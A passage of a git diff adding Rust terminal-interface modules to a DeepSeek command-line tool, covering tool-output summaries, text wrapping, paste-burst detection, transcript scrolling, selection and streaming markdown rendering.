parts.push(format!("status: {status}")); + } + if let Some(message) = obj.get("message").and_then(|v| v.as_str()) { + parts.push(truncate_text(message, TOOL_TEXT_LIMIT)); + } + if let Some(task_id) = obj.get("task_id").and_then(|v| v.as_str()) { + parts.push(format!("task_id: {task_id}")); + } + if let Some(file_id) = obj.get("file_id").and_then(|v| v.as_str()) { + parts.push(format!("file_id: {file_id}")); + } + if let Some(url) = obj + .get("file_url") + .or_else(|| obj.get("url")) + .and_then(|v| v.as_str()) + { + parts.push(format!("url: {}", truncate_text(url, 120))); + } + if let Some(data) = obj.get("data") { + parts.push(format!("data: {}", summarize_inline_value(data, 80, true))); + } + + if !parts.is_empty() { + return parts.join(" | "); + } + + if let Some(content) = obj + .get("content") + .or(obj.get("result")) + .or(obj.get("output")) + { + return summarize_inline_value(content, TOOL_TEXT_LIMIT, false); + } + } + + return summarize_inline_value(&json, TOOL_TEXT_LIMIT, true); + } + + truncate_text(output, TOOL_TEXT_LIMIT) +} + +// === MCP Output Summaries === + +/// Summary information extracted from an MCP tool output payload. +pub struct McpOutputSummary { + pub content: Option, + pub is_image: bool, + pub is_error: Option, +} + +/// Summarize raw MCP output into UI-friendly content. +#[must_use] +pub fn summarize_mcp_output(output: &str) -> McpOutputSummary { + if let Ok(json) = serde_json::from_str::(output) { + let is_error = json + .get("isError") + .and_then(serde_json::Value::as_bool) + .or_else(|| json.get("is_error").and_then(serde_json::Value::as_bool)); + + if let Some(blocks) = json.get("content").and_then(|v| v.as_array()) { + let mut lines = Vec::new(); + let mut is_image = false; + + for block in blocks { + let block_type = block + .get("type") + .and_then(|v| v.as_str()) + .unwrap_or("unknown"); + match block_type { + "text" => { + let text = block.get("text").and_then(|v| v.as_str()).unwrap_or(""); + if !text.is_empty() { + lines.push(format!("- text: {}", truncate_text(text, 200))); + } + } + "image" | "image_url" => { + is_image = true; + let url = block + .get("url") + .or_else(|| block.get("image_url")) + .and_then(|v| v.as_str()); + if let Some(url) = url { + lines.push(format!("- image: {}", truncate_text(url, 200))); + } else { + lines.push("- image".to_string()); + } + } + "resource" | "resource_link" => { + let uri = block + .get("uri") + .or_else(|| block.get("url")) + .and_then(|v| v.as_str()) + .unwrap_or(""); + lines.push(format!("- resource: {}", truncate_text(uri, 200))); + } + other => { + lines.push(format!("- {other} content")); + } + } + } + + return McpOutputSummary { + content: if lines.is_empty() { + None + } else { + Some(lines.join("\n")) + }, + is_image, + is_error, + }; + } + } + + McpOutputSummary { + content: Some(summarize_tool_output(output)), + is_image: output_is_image(output), + is_error: None, + } +} + +#[must_use] +pub fn output_is_image(output: &str) -> bool { + let lower = output.to_lowercase(); + + [ + ".png", ".jpg", ".jpeg", ".gif", ".webp", ".bmp", ".tiff", ".ppm", + ] + .iter() + .any(|ext| lower.contains(ext)) +} + +#[must_use] +pub fn extract_reasoning_summary(text: &str) -> Option { + let mut lines = text.lines().peekable(); + while let Some(line) = lines.next() { + let trimmed = line.trim(); + if trimmed.to_lowercase().starts_with("summary") { + let mut summary = String::new(); + if let Some((_, rest)) = trimmed.split_once(':') + && !rest.trim().is_empty() + { + summary.push_str(rest.trim()); + summary.push('\n'); + } + while let Some(next) = lines.peek() { + let next_trimmed = next.trim(); + if next_trimmed.is_empty() { + break; + } + if next_trimmed.starts_with('#') || next_trimmed.starts_with("**") { + break; + } + summary.push_str(next_trimmed); + summary.push('\n'); + lines.next(); + } + let summary = summary.trim().to_string(); + return if summary.is_empty() { + None + } else { + Some(summary) + }; + } + } + let fallback = text.trim(); + if fallback.is_empty() { + None + } else { + Some(fallback.to_string()) + } +} + +fn render_message(prefix: &str, content: &str, style: Style, width: u16) -> Vec> { + let prefix_width = UnicodeWidthStr::width(prefix); + let prefix_width_u16 = u16::try_from(prefix_width.saturating_add(2)).unwrap_or(u16::MAX); + let content_width = usize::from(width.saturating_sub(prefix_width_u16).max(1)); + let mut lines = Vec::new(); + for (i, line) in content.lines().enumerate() { + let wrapped = wrap_text(line, content_width); + for (j, part) in wrapped.iter().enumerate() { + if i == 0 && j == 0 { + lines.push(Line::from(vec![ + Span::styled(prefix.to_string(), style.add_modifier(Modifier::BOLD)), + Span::raw(" "), + Span::styled(part.to_string(), style), + ])); + } else { + let indent = " ".repeat(prefix_width + 1); + lines.push(Line::from(vec![ + Span::raw(indent), + Span::styled(part.to_string(), style), + ])); + } + } + if line.is_empty() { + lines.push(Line::from("")); + } + } + lines +} + +fn render_command(command: &str, width: u16) -> Vec> { + let mut lines = Vec::new(); + for (count, chunk) in wrap_text(command, width.saturating_sub(4).max(1) as usize) + .into_iter() + .enumerate() + { + if count >= TOOL_COMMAND_LINE_LIMIT { + lines.push(Line::from(Span::styled( + " ...", + Style::default().fg(palette::TEXT_MUTED), + ))); + break; + } + lines.push(Line::from(vec![ + Span::styled(" $ ", Style::default().fg(palette::TEXT_MUTED)), + Span::styled(chunk, Style::default().fg(palette::TEXT_PRIMARY)), + ])); + } + lines +} + +fn render_compact_kv(label: &str, value: &str, style: Style, width: u16) -> Vec> { + let line = format!(" {label} {value}"); + wrap_plain_line(&line, style, width) +} + +fn render_tool_output(output: &str, width: u16, line_limit: usize) -> Vec> { + let mut lines = Vec::new(); + if output.trim().is_empty() { + lines.push(Line::from(Span::styled( + " (no output)", + Style::default().fg(palette::TEXT_MUTED).italic(), + ))); + return lines; + } + let mut all_lines = Vec::new(); + for line in output.lines() { + all_lines.extend(wrap_text(line, width.saturating_sub(4).max(1) as usize)); + } + let total = all_lines.len(); + for (idx, line) in all_lines.into_iter().enumerate() { + if idx >= line_limit { + let omitted = total.saturating_sub(line_limit); + if omitted > 0 { + lines.push(Line::from(Span::styled( + format!(" ... +{omitted} lines"), + Style::default().fg(palette::TEXT_MUTED), + ))); + } + break; + } + lines.push(Line::from(vec![ + Span::styled(" | ", Style::default().fg(palette::TEXT_MUTED)), + Span::styled(line, Style::default().fg(palette::TEXT_MUTED)), + ])); + } + lines +} + +fn render_exec_output(output: &str, width: u16, line_limit: usize) -> Vec> { + let mut lines = Vec::new(); + if output.trim().is_empty() { + lines.push(Line::from(Span::styled( + " (no output)", + Style::default().fg(palette::TEXT_MUTED).italic(), + ))); + return lines; + } + + let mut all_lines = Vec::new(); + for line in output.lines() { + all_lines.extend(wrap_text(line, width.saturating_sub(4).max(1) as usize)); + } + + let total = all_lines.len(); + let head_end = total.min(line_limit); + for line in &all_lines[..head_end] { + lines.push(Line::from(vec![ + Span::styled(" | ", Style::default().fg(palette::TEXT_MUTED)), + Span::styled(line.to_string(), Style::default().fg(palette::TEXT_MUTED)), + ])); + } + + if total > 2 * line_limit { + let omitted = total.saturating_sub(2 * line_limit); + lines.push(Line::from(Span::styled( + format!(" ... +{omitted} lines"), + Style::default().fg(palette::TEXT_MUTED), + ))); + let tail_start = total.saturating_sub(line_limit); + for line in &all_lines[tail_start..] { + lines.push(Line::from(vec![ + Span::styled(" | ", Style::default().fg(palette::TEXT_MUTED)), + Span::styled(line.to_string(), Style::default().fg(palette::TEXT_MUTED)), + ])); + } + } else if total > head_end { + for line in &all_lines[head_end..] { + lines.push(Line::from(vec![ + Span::styled(" | ", Style::default().fg(palette::TEXT_MUTED)), + Span::styled(line.to_string(), Style::default().fg(palette::TEXT_MUTED)), + ])); + } + } + + lines +} + +fn wrap_plain_line(line: &str, style: Style, width: u16) -> Vec> { + let mut lines = Vec::new(); + for part in wrap_text(line, width.max(1) as usize) { + lines.push(Line::from(Span::styled(part, style))); + } + lines +} + +fn wrap_text(text: &str, width: usize) -> Vec { + if width == 0 { + return vec![text.to_string()]; + } + if text.is_empty() { + return vec![String::new()]; + } + + let mut lines = Vec::new(); + let mut current = String::new(); + let mut current_width = 0; + + for word in text.split_whitespace() { + let word_width = UnicodeWidthStr::width(word); + if current_width == 0 { + current.push_str(word); + current_width = word_width; + continue; + } + + if current_width + 1 + word_width <= width { + current.push(' '); + current.push_str(word); + current_width += 1 + word_width; + } else { + lines.push(current); + current = word.to_string(); + current_width = word_width; + } + } + + if !current.is_empty() { + lines.push(current); + } + + if lines.is_empty() { + vec![String::new()] + } else { + lines + } +} + +fn status_symbol(started_at: Option, status: ToolStatus) -> String { + match status { + ToolStatus::Running => { + let elapsed_ms = started_at.map_or(0, |t| t.elapsed().as_millis()); + if (elapsed_ms / 400).is_multiple_of(2) { + "*".to_string() + } else { + ".".to_string() + } + } + ToolStatus::Success => "o".to_string(), + ToolStatus::Failed => "x".to_string(), + } +} + +fn truncate_text(text: &str, max_len: usize) -> String { + if text.chars().count() <= max_len { + return text.to_string(); + } + let mut out = String::new(); + for ch in text.chars().take(max_len.saturating_sub(3)) { + out.push(ch); + } + out.push_str("..."); + out +} + +fn user_style() -> Style { + Style::default().fg(palette::DEEPSEEK_BLUE) +} + +fn assistant_style() -> Style { + Style::default().fg(palette::DEEPSEEK_BLUE) +} + +fn system_style() -> Style { + Style::default().fg(palette::TEXT_MUTED).italic() +} + +fn thinking_style() -> Style { + Style::default() + .fg(palette::TEXT_MUTED) + .add_modifier(Modifier::ITALIC | Modifier::DIM) +} + +#[cfg(test)] +mod tests { + use super::extract_reasoning_summary; + + #[test] + fn extract_reasoning_summary_prefers_summary_block() { + let text = "Thinking...\nSummary: First line\nSecond line\n\nTail"; + let summary = extract_reasoning_summary(text).expect("summary should exist"); + assert_eq!(summary, "First line\nSecond line"); + } + + #[test] + fn extract_reasoning_summary_falls_back_to_full_text() { + let text = "Line one\nLine two"; + let summary = extract_reasoning_summary(text).expect("summary should exist"); + assert_eq!(summary, "Line one\nLine two"); + } +} diff --git a/src/tui/mod.rs b/src/tui/mod.rs new file mode 100644 index 00000000..41fa1910 --- /dev/null +++ b/src/tui/mod.rs @@ -0,0 +1,22 @@ +//! Terminal UI (TUI) module for `DeepSeek` CLI. + +// === Submodules === + +pub mod app; +pub mod approval; +pub mod clipboard; +pub mod event_broker; +pub mod history; +pub mod paste_burst; +pub mod scrolling; +pub mod selection; +pub mod streaming; +pub mod transcript; +pub mod ui; +pub mod views; +pub mod widgets; + +// === Re-exports === + +pub use app::TuiOptions; +pub use ui::run_tui; diff --git a/src/tui/paste_burst.rs b/src/tui/paste_burst.rs new file mode 100644 index 00000000..c0ee03ca --- /dev/null +++ b/src/tui/paste_burst.rs @@ -0,0 +1,298 @@ +//! Paste-burst detection for terminals without reliable bracketed paste. + +use std::time::{Duration, Instant}; + +const PASTE_BURST_MIN_CHARS: u16 = 3; +const PASTE_BURST_CHAR_INTERVAL: Duration = Duration::from_millis(8); +const PASTE_ENTER_SUPPRESS_WINDOW: Duration = Duration::from_millis(120); +#[cfg(not(windows))] +const PASTE_BURST_ACTIVE_IDLE_TIMEOUT: Duration = Duration::from_millis(8); +#[cfg(windows)] +const PASTE_BURST_ACTIVE_IDLE_TIMEOUT: Duration = Duration::from_millis(60); + +#[derive(Default)] +pub(crate) struct PasteBurst { + last_plain_char_time: Option, + consecutive_plain_char_burst: u16, + burst_window_until: Option, + buffer: String, + active: bool, + pending_first_char: Option<(char, Instant)>, +} + +pub(crate) enum CharDecision { + BeginBuffer { retro_chars: u16 }, + BufferAppend, + RetainFirstChar, + BeginBufferFromPending, +} + +pub(crate) struct RetroGrab { + pub start_byte: usize, + pub grabbed: String, +} + +pub(crate) enum FlushResult { + Paste(String), + Typed(char), + None, +} + +impl PasteBurst { + #[cfg(test)] + pub fn recommended_flush_delay() -> Duration { + PASTE_BURST_CHAR_INTERVAL + Duration::from_millis(1) + } + + #[cfg(test)] + pub(crate) fn recommended_active_flush_delay() -> Duration { + PASTE_BURST_ACTIVE_IDLE_TIMEOUT + Duration::from_millis(1) + } + + pub fn on_plain_char(&mut self, ch: char, now: Instant) -> CharDecision { + self.note_plain_char(now); + + if self.active { + self.burst_window_until = Some(now + PASTE_ENTER_SUPPRESS_WINDOW); + return CharDecision::BufferAppend; + } + + if let Some((held, held_at)) = self.pending_first_char + && now.duration_since(held_at) <= PASTE_BURST_CHAR_INTERVAL + { + self.active = true; + let _ = self.pending_first_char.take(); + self.buffer.push(held); + self.burst_window_until = Some(now + PASTE_ENTER_SUPPRESS_WINDOW); + return CharDecision::BeginBufferFromPending; + } + + if self.consecutive_plain_char_burst >= PASTE_BURST_MIN_CHARS { + return CharDecision::BeginBuffer { + retro_chars: self.consecutive_plain_char_burst.saturating_sub(1), + }; + } + + self.pending_first_char = Some((ch, now)); + CharDecision::RetainFirstChar + } + + pub fn on_plain_char_no_hold(&mut self, now: Instant) -> Option { + self.note_plain_char(now); + + if self.active { + self.burst_window_until = Some(now + PASTE_ENTER_SUPPRESS_WINDOW); + return Some(CharDecision::BufferAppend); + } + + if self.consecutive_plain_char_burst >= PASTE_BURST_MIN_CHARS { + return Some(CharDecision::BeginBuffer { + retro_chars: self.consecutive_plain_char_burst.saturating_sub(1), + }); + } + + None + } + + fn note_plain_char(&mut self, now: Instant) { + match self.last_plain_char_time { + Some(prev) if now.duration_since(prev) <= PASTE_BURST_CHAR_INTERVAL => { + self.consecutive_plain_char_burst = + self.consecutive_plain_char_burst.saturating_add(1); + } + _ => self.consecutive_plain_char_burst = 1, + } + self.last_plain_char_time = Some(now); + } + + pub fn flush_if_due(&mut self, now: Instant) -> FlushResult { + let timeout = if self.is_active_internal() { + PASTE_BURST_ACTIVE_IDLE_TIMEOUT + } else { + PASTE_BURST_CHAR_INTERVAL + }; + let timed_out = self + .last_plain_char_time + .is_some_and(|t| now.duration_since(t) > timeout); + + if timed_out && self.is_active_internal() { + self.active = false; + let out = std::mem::take(&mut self.buffer); + FlushResult::Paste(out) + } else if timed_out { + if let Some((ch, _)) = self.pending_first_char.take() { + FlushResult::Typed(ch) + } else { + FlushResult::None + } + } else { + FlushResult::None + } + } + + pub fn append_newline_if_active(&mut self, now: Instant) -> bool { + if self.is_active() { + self.buffer.push('\n'); + self.burst_window_until = Some(now + PASTE_ENTER_SUPPRESS_WINDOW); + true + } else { + false + } + } + + pub fn newline_should_insert_instead_of_submit(&self, now: Instant) -> bool { + let in_burst_window = self.burst_window_until.is_some_and(|until| now <= until); + self.is_active() || in_burst_window + } + + pub fn extend_window(&mut self, now: Instant) { + self.burst_window_until = Some(now + PASTE_ENTER_SUPPRESS_WINDOW); + } + + pub fn begin_with_retro_grabbed(&mut self, grabbed: String, now: Instant) { + if !grabbed.is_empty() { + self.buffer.push_str(&grabbed); + } + self.active = true; + self.burst_window_until = Some(now + PASTE_ENTER_SUPPRESS_WINDOW); + } + + pub fn append_char_to_buffer(&mut self, ch: char, now: Instant) { + self.buffer.push(ch); + self.burst_window_until = Some(now + PASTE_ENTER_SUPPRESS_WINDOW); + } + + pub fn try_append_char_if_active(&mut self, ch: char, now: Instant) -> bool { + if self.active || !self.buffer.is_empty() { + self.append_char_to_buffer(ch, now); + true + } else { + false + } + } + + pub fn decide_begin_buffer( + &mut self, + now: Instant, + before: &str, + retro_chars: usize, + ) -> Option { + let start_byte = retro_start_index(before, retro_chars); + let grabbed = before[start_byte..].to_string(); + let looks_pastey = + grabbed.chars().any(char::is_whitespace) || grabbed.chars().count() >= 16; + if looks_pastey { + self.begin_with_retro_grabbed(grabbed.clone(), now); + Some(RetroGrab { + start_byte, + grabbed, + }) + } else { + None + } + } + + pub fn flush_before_modified_input(&mut self) -> Option { + if !self.is_active() { + return None; + } + self.active = false; + let mut out = std::mem::take(&mut self.buffer); + if let Some((ch, _)) = self.pending_first_char.take() { + out.push(ch); + } + Some(out) + } + + pub fn clear_window_after_non_char(&mut self) { + self.consecutive_plain_char_burst = 0; + self.last_plain_char_time = None; + self.burst_window_until = None; + self.active = false; + self.pending_first_char = None; + } + + pub fn is_active(&self) -> bool { + self.is_active_internal() || self.pending_first_char.is_some() + } + + fn is_active_internal(&self) -> bool { + self.active || !self.buffer.is_empty() + } + + pub fn clear_after_explicit_paste(&mut self) { + self.last_plain_char_time = None; + self.consecutive_plain_char_burst = 0; + self.burst_window_until = None; + self.active = false; + self.buffer.clear(); + self.pending_first_char = None; + } +} + +pub(crate) fn retro_start_index(before: &str, retro_chars: usize) -> usize { + if retro_chars == 0 { + return before.len(); + } + before + .char_indices() + .rev() + .nth(retro_chars.saturating_sub(1)) + .map(|(idx, _)| idx) + .unwrap_or(0) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn ascii_first_char_is_held_then_flushes_as_typed() { + let mut burst = PasteBurst::default(); + let t0 = Instant::now(); + assert!(matches!( + burst.on_plain_char('a', t0), + CharDecision::RetainFirstChar + )); + + let t1 = t0 + PasteBurst::recommended_flush_delay() + Duration::from_millis(1); + assert!(matches!(burst.flush_if_due(t1), FlushResult::Typed('a'))); + assert!(!burst.is_active()); + } + + #[test] + fn ascii_two_fast_chars_start_buffer_from_pending_and_flush_as_paste() { + let mut burst = PasteBurst::default(); + let t0 = Instant::now(); + assert!(matches!( + burst.on_plain_char('a', t0), + CharDecision::RetainFirstChar + )); + + let t1 = t0 + Duration::from_millis(1); + assert!(matches!( + burst.on_plain_char('b', t1), + CharDecision::BeginBufferFromPending + )); + burst.append_char_to_buffer('b', t1); + + let t2 = t1 + PasteBurst::recommended_active_flush_delay() + Duration::from_millis(1); + assert!(matches!( + burst.flush_if_due(t2), + FlushResult::Paste(ref s) if s == "ab" + )); + } + + #[test] + fn flush_before_modified_input_includes_pending_first_char() { + let mut burst = PasteBurst::default(); + let t0 = Instant::now(); + assert!(matches!( + burst.on_plain_char('a', t0), + CharDecision::RetainFirstChar + )); + + assert_eq!(burst.flush_before_modified_input(), Some("a".to_string())); + assert!(!burst.is_active()); + } +} diff --git a/src/tui/scrolling.rs b/src/tui/scrolling.rs new file mode 100644 index 00000000..b08cde56 --- /dev/null +++ b/src/tui/scrolling.rs @@ -0,0 +1,252 @@ +//! Scroll state tracking for transcript rendering. + +use std::time::{Duration, Instant}; + +// === Transcript Line Metadata === + +/// Metadata describing how rendered transcript lines map to history cells. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum TranscriptLineMeta { + CellLine { + cell_index: usize, + line_in_cell: usize, + }, + Spacer, +} + +impl TranscriptLineMeta { + /// Return cell/line indices if this entry is a cell line. + #[must_use] + pub fn cell_line(&self) -> Option<(usize, usize)> { + match *self { + TranscriptLineMeta::CellLine { + cell_index, + line_in_cell, + } => Some((cell_index, line_in_cell)), + TranscriptLineMeta::Spacer => None, + } + } +} + +// === Scroll Anchors === + +/// Scroll anchor for the transcript view. +#[derive(Debug, Clone, Copy, PartialEq, Eq, Default)] +pub enum TranscriptScroll { + #[default] + ToBottom, + Scrolled { + cell_index: usize, + line_in_cell: usize, + }, + ScrolledSpacerBeforeCell { + cell_index: usize, + }, +} + +impl TranscriptScroll { + /// Resolve the anchor to a top line index. + #[must_use] + pub fn resolve_top(self, line_meta: &[TranscriptLineMeta], max_start: usize) -> (Self, usize) { + match self { + TranscriptScroll::ToBottom => (TranscriptScroll::ToBottom, max_start), + TranscriptScroll::Scrolled { + cell_index, + line_in_cell, + } => { + let anchor = anchor_index(line_meta, cell_index, line_in_cell); + match anchor { + Some(idx) => (self, idx.min(max_start)), + None => (TranscriptScroll::ToBottom, max_start), + } + } + TranscriptScroll::ScrolledSpacerBeforeCell { cell_index } => { + let anchor = spacer_before_cell_index(line_meta, cell_index); + match anchor { + Some(idx) => (self, idx.min(max_start)), + None => (TranscriptScroll::ToBottom, max_start), + } + } + } + } + + /// Apply a delta scroll and return the updated anchor. + #[must_use] + pub fn scrolled_by( + self, + delta_lines: i32, + line_meta: &[TranscriptLineMeta], + visible_lines: usize, + ) -> Self { + if delta_lines == 0 { + return self; + } + + let total_lines = line_meta.len(); + if total_lines <= visible_lines { + return TranscriptScroll::ToBottom; + } + + let max_start = total_lines.saturating_sub(visible_lines); + let current_top = match self { + TranscriptScroll::ToBottom => max_start, + TranscriptScroll::Scrolled { + cell_index, + line_in_cell, + } => anchor_index(line_meta, cell_index, line_in_cell) + .unwrap_or(max_start) + .min(max_start), + TranscriptScroll::ScrolledSpacerBeforeCell { cell_index } => { + spacer_before_cell_index(line_meta, cell_index) + .unwrap_or(max_start) + .min(max_start) + } + }; + + let new_top = if delta_lines < 0 { + current_top.saturating_sub(delta_lines.unsigned_abs() as usize) + } else { + let delta = usize::try_from(delta_lines).unwrap_or(usize::MAX); + current_top.saturating_add(delta).min(max_start) + }; + + if new_top == max_start { + TranscriptScroll::ToBottom + } else { + TranscriptScroll::anchor_for(line_meta, new_top).unwrap_or(TranscriptScroll::ToBottom) + } + } + + /// Create an anchor from a top line index. + #[must_use] + pub fn anchor_for(line_meta: &[TranscriptLineMeta], start: usize) -> Option { + if line_meta.is_empty() { + return None; + } + + let start = start.min(line_meta.len().saturating_sub(1)); + match line_meta[start] { + TranscriptLineMeta::CellLine { + cell_index, + line_in_cell, + } => Some(TranscriptScroll::Scrolled { + cell_index, + line_in_cell, + }), + TranscriptLineMeta::Spacer => { + if let Some((cell_index, _)) = anchor_at_or_after(line_meta, start) { + Some(TranscriptScroll::ScrolledSpacerBeforeCell { cell_index }) + } else { + anchor_at_or_before(line_meta, start).map(|(cell_index, line_in_cell)| { + TranscriptScroll::Scrolled { + cell_index, + line_in_cell, + } + }) + } + } + } + } +} + +fn anchor_index( + line_meta: &[TranscriptLineMeta], + cell_index: usize, + line_in_cell: usize, +) -> Option { + line_meta + .iter() + .enumerate() + .find_map(|(idx, entry)| match *entry { + TranscriptLineMeta::CellLine { + cell_index: ci, + line_in_cell: li, + } if ci == cell_index && li == line_in_cell => Some(idx), + _ => None, + }) +} + +fn spacer_before_cell_index(line_meta: &[TranscriptLineMeta], cell_index: usize) -> Option { + line_meta.iter().enumerate().find_map(|(idx, entry)| { + if matches!(entry, TranscriptLineMeta::Spacer) + && line_meta + .get(idx + 1) + .and_then(TranscriptLineMeta::cell_line) + .is_some_and(|(ci, _)| ci == cell_index) + { + Some(idx) + } else { + None + } + }) +} + +fn anchor_at_or_after(line_meta: &[TranscriptLineMeta], start: usize) -> Option<(usize, usize)> { + line_meta + .iter() + .enumerate() + .skip(start) + .find_map(|(_, entry)| entry.cell_line()) +} + +fn anchor_at_or_before(line_meta: &[TranscriptLineMeta], start: usize) -> Option<(usize, usize)> { + line_meta + .iter() + .enumerate() + .take(start.saturating_add(1)) + .rev() + .find_map(|(_, entry)| entry.cell_line()) +} + +/// Direction for mouse scroll input. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum ScrollDirection { + Up, + Down, +} + +impl ScrollDirection { + fn sign(self) -> i32 { + match self { + ScrollDirection::Up => -1, + ScrollDirection::Down => 1, + } + } +} + +/// Stateful tracker for mouse scroll accumulation. +#[derive(Debug, Default)] +pub struct MouseScrollState { + last_event_at: Option, + pending_lines: i32, +} + +/// A computed scroll delta from user input. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub struct ScrollUpdate { + pub delta_lines: i32, +} + +impl MouseScrollState { + /// Create a new scroll state tracker. + #[must_use] + pub fn new() -> Self { + Self::default() + } + + /// Process a scroll event and return the resulting delta. + pub fn on_scroll(&mut self, direction: ScrollDirection) -> ScrollUpdate { + let now = Instant::now(); + let is_trackpad = self + .last_event_at + .is_some_and(|last| now.duration_since(last) < Duration::from_millis(35)); + self.last_event_at = Some(now); + + let lines_per_tick = if is_trackpad { 1 } else { 3 }; + self.pending_lines += direction.sign() * lines_per_tick; + + let delta = self.pending_lines; + self.pending_lines = 0; + ScrollUpdate { delta_lines: delta } + } +} diff --git a/src/tui/selection.rs b/src/tui/selection.rs new file mode 100644 index 00000000..8f01ee2d --- /dev/null +++ b/src/tui/selection.rs @@ -0,0 +1,47 @@ +//! Text selection state for the transcript view. + +// === Types === + +/// A selection endpoint in the transcript (line/column). +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub struct TranscriptSelectionPoint { + pub line_index: usize, + pub column: usize, +} + +/// Current selection state in the transcript view. +#[derive(Debug, Clone, Copy, Default)] +pub struct TranscriptSelection { + pub anchor: Option, + pub head: Option, + pub dragging: bool, +} + +impl TranscriptSelection { + /// Clear any active selection. + pub fn clear(&mut self) { + self.anchor = None; + self.head = None; + self.dragging = false; + } + + /// Whether a full selection is active. + #[must_use] + pub fn is_active(&self) -> bool { + self.anchor.is_some() && self.head.is_some() + } + + /// Return selection endpoints ordered from start to end. + #[must_use] + pub fn ordered_endpoints( + &self, + ) -> Option<(TranscriptSelectionPoint, TranscriptSelectionPoint)> { + let anchor = self.anchor?; + let head = self.head?; + if (head.line_index, head.column) < (anchor.line_index, anchor.column) { + Some((head, anchor)) + } else { + Some((anchor, head)) + } + } +} diff --git a/src/tui/streaming.rs b/src/tui/streaming.rs new file mode 100644 index 00000000..7346b366 --- /dev/null +++ b/src/tui/streaming.rs @@ -0,0 +1,340 @@ +//! Markdown stream collector for newline-gated rendering. +//! +//! This module implements the pattern from codex-rs where: +//! - Streaming text is buffered until a newline is reached +//! - Only complete lines are committed to the UI +//! - This prevents visual flashing of partial words +//! - Final content is emitted when the stream ends + +#![allow(dead_code)] + +use ratatui::style::{Modifier, Style}; +use ratatui::text::{Line, Span}; +use unicode_width::UnicodeWidthStr; + +use crate::palette; +/// Collects streaming text and commits complete lines. +#[derive(Debug, Clone)] +pub struct MarkdownStreamCollector { + /// Buffer for incoming text + buffer: String, + /// Number of lines already committed + committed_line_count: usize, + /// Terminal width for wrapping + width: Option, + /// Whether the stream is still active + is_streaming: bool, + /// Whether this is a thinking block + is_thinking: bool, +} + +impl MarkdownStreamCollector { + /// Create a new collector + pub fn new(width: Option, is_thinking: bool) -> Self { + Self { + buffer: String::new(), + committed_line_count: 0, + width, + is_streaming: true, + is_thinking, + } + } + + /// Push new content to the buffer + pub fn push(&mut self, content: &str) { + self.buffer.push_str(content); + } + + /// Get the current buffer content (for display during streaming) + pub fn current_content(&self) -> &str { + &self.buffer + } + + /// Check if there are complete lines to commit + pub fn has_complete_lines(&self) -> bool { + self.buffer.contains('\n') + } + + /// Commit complete lines and return them. + /// Only lines ending with '\n' are committed. + /// Returns the newly committed lines since last call. + pub fn commit_complete_lines(&mut self) -> Vec> { + if self.buffer.is_empty() { + return Vec::new(); + } + + // Find the last newline - only process up to there + let Some(last_newline_idx) = self.buffer.rfind('\n') else { + return Vec::new(); // No complete lines yet + }; + + // Extract the complete portion (up to and including last newline) + let complete_portion = self.buffer[..=last_newline_idx].to_string(); + + // Render all lines from the complete portion + let all_lines = self.render_lines(&complete_portion); + + // Remove the committed portion from the buffer so finalize only emits the remainder + self.buffer = self.buffer[last_newline_idx + 1..].to_string(); + self.committed_line_count = 0; + + all_lines + } + + /// Finalize the stream and return any remaining content. + /// Call this when the stream ends to emit the final incomplete line. + pub fn finalize(&mut self) -> Vec> { + self.is_streaming = false; + + if self.buffer.is_empty() { + return Vec::new(); + } + + // Render all remaining content + let all_lines = self.render_lines(&self.buffer); + + // Return only the NEW lines since last commit + let new_lines = if self.committed_line_count < all_lines.len() { + all_lines[self.committed_line_count..].to_vec() + } else { + Vec::new() + }; + + // Mark as fully committed + self.committed_line_count = all_lines.len(); + + new_lines + } + + /// Get all rendered lines (for final display after stream ends) + pub fn all_lines(&self) -> Vec> { + self.render_lines(&self.buffer) + } + + /// Render content into styled lines + fn render_lines(&self, content: &str) -> Vec> { + let width = self.width.unwrap_or(80); + let style = if self.is_thinking { + Style::default() + .fg(palette::STATUS_WARNING) + .add_modifier(Modifier::DIM | Modifier::ITALIC) + } else { + Style::default() + }; + + let mut lines = Vec::new(); + + for line in content.lines() { + // Wrap long lines + let wrapped = wrap_line(line, width); + for wrapped_line in wrapped { + lines.push(Line::from(Span::styled(wrapped_line, style))); + } + } + + // Handle trailing newline (add empty line) + if content.ends_with('\n') { + lines.push(Line::from("")); + } + + lines + } + + /// Check if the stream is still active + pub fn is_streaming(&self) -> bool { + self.is_streaming + } + + /// Get the raw buffer length + pub fn buffer_len(&self) -> usize { + self.buffer.len() + } + + /// Clear the buffer + pub fn clear(&mut self) { + self.buffer.clear(); + self.committed_line_count = 0; + } +} + +/// Wrap a single line to fit within the given width +fn wrap_line(line: &str, width: usize) -> Vec { + if line.is_empty() { + return vec![String::new()]; + } + + let mut result = Vec::new(); + let mut current_line = String::new(); + let mut current_width = 0; + + for word in line.split_whitespace() { + let word_width = word.width(); + + if current_width == 0 { + // First word on line + current_line = word.to_string(); + current_width = word_width; + } else if current_width + 1 + word_width <= width { + // Word fits with space + current_line.push(' '); + current_line.push_str(word); + current_width += 1 + word_width; + } else { + // Word doesn't fit, start new line + result.push(current_line); + current_line = word.to_string(); + current_width = word_width; + } + } + + if !current_line.is_empty() { + result.push(current_line); + } + + if result.is_empty() { + vec![String::new()] + } else { + result + } +} + +/// State for managing multiple stream collectors (one per content block) +#[derive(Debug, Clone, Default)] +pub struct StreamingState { + /// Collectors for each content block by index + collectors: Vec>, + /// Whether any stream is currently active + pub is_active: bool, + /// Accumulated text for display + pub accumulated_text: String, + /// Accumulated thinking for display + pub accumulated_thinking: String, +} + +impl StreamingState { + /// Create a new streaming state + pub fn new() -> Self { + Self::default() + } + + /// Start a new text block + pub fn start_text(&mut self, index: usize, width: Option) { + self.ensure_capacity(index); + self.collectors[index] = Some(MarkdownStreamCollector::new(width, false)); + self.is_active = true; + } + + /// Start a new thinking block + pub fn start_thinking(&mut self, index: usize, width: Option) { + self.ensure_capacity(index); + self.collectors[index] = Some(MarkdownStreamCollector::new(width, true)); + self.is_active = true; + } + + /// Push content to a block + pub fn push_content(&mut self, index: usize, content: &str) { + if let Some(Some(collector)) = self.collectors.get_mut(index) { + collector.push(content); + // Update accumulated text + if collector.is_thinking { + self.accumulated_thinking.push_str(content); + } else { + self.accumulated_text.push_str(content); + } + } + } + + /// Get newly committed lines from a block + pub fn commit_lines(&mut self, index: usize) -> Vec> { + if let Some(Some(collector)) = self.collectors.get_mut(index) { + 